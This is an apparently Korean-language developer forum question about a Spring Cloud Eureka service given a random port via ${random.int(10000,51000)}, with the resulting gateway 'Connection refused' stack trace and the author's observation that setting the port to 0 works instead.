server: port: ${random.int(10000,51000)} #0spring: application: name: my-first-serviceeureka: client: register-with-eureka: true fetch-registry: true service-url: defaultZone: http://localhost:8761/eureka instance: instance-id: ${spring.application.name}:${spring.application.instance_id:${random.value}} 위처럼 서버의 Port 를 일정 범위안에서 랜덤하게 하면 아래와 같은 현상이 발생됩니다. io.netty.channel.AbstractChannel$AnnotatedConnectException: Connection refused: /192.168.40.24:34968 Suppressed: reactor.core.publisher.FluxOnAssembly$OnAssemblyException: Error has been observed at the following site(s): |_ checkpoint ⇢ org.springframework.cloud.gateway.filter.WeightCalculatorWebFilter [DefaultWebFilterChain] |_ checkpoint ⇢ HTTP GET "/first-service/welcome" [ExceptionHandlingWebHandler] Stack trace: Caused by: java.net.ConnectException: Connection refused at java.base/sun.nio.ch.SocketChannelImpl.checkConnect(Native Method) ~[na:na] at java.base/sun.nio.ch.SocketChannelImpl.finishConnect(SocketChannelImpl.java:779) ~[na:na] at io.netty.channel.socket.nio.NioSocketChannel.doFinishConnect(NioSocketChannel.java:330) ~[netty-transport-4.1.63.Final.jar:4.1.63.Final] at io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe.finishConnect(AbstractNioChannel.java:334) ~[netty-transport-4.1.63.Final.jar:4.1.63.Final] at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:707) ~[netty-transport-4.1.63.Final.jar:4.1.63.Final] at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:655) ~[netty-transport-4.1.63.Final.jar:4.1.63.Final] at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:581) ~[netty-transport-4.1.63.Final.jar:4.1.63.Final] at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:493) ~[netty-transport-4.1.63.Final.jar:4.1.63.Final] at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:989) ~[netty-common-4.1.63.Final.jar:4.1.63.Final] at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) ~[netty-common-4.1.63.Final.jar:4.1.63.Final] at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) ~[netty-common-4.1.63.Final.jar:4.1.63.Final] at java.base/java.lang.Thread.run(Thread.java:834) ~[na:na] { "timestamp": "2021-05-12T08:33:11.458+00:00", "path": "/first-service/welcome", "status": 500, "error": "Internal Server Error", "message": "", "requestId": "fc5008c3-1" } 확인해보니 실제 first-service 에 열린 port와 discoveryService 에서 인지하는 서버가 서로 달랐습니다. 그러면 ${random.int(10000,51000)} 사용하면 안되는건가요? server: port: 0 이렇게 바꾸면 잘 됩니다.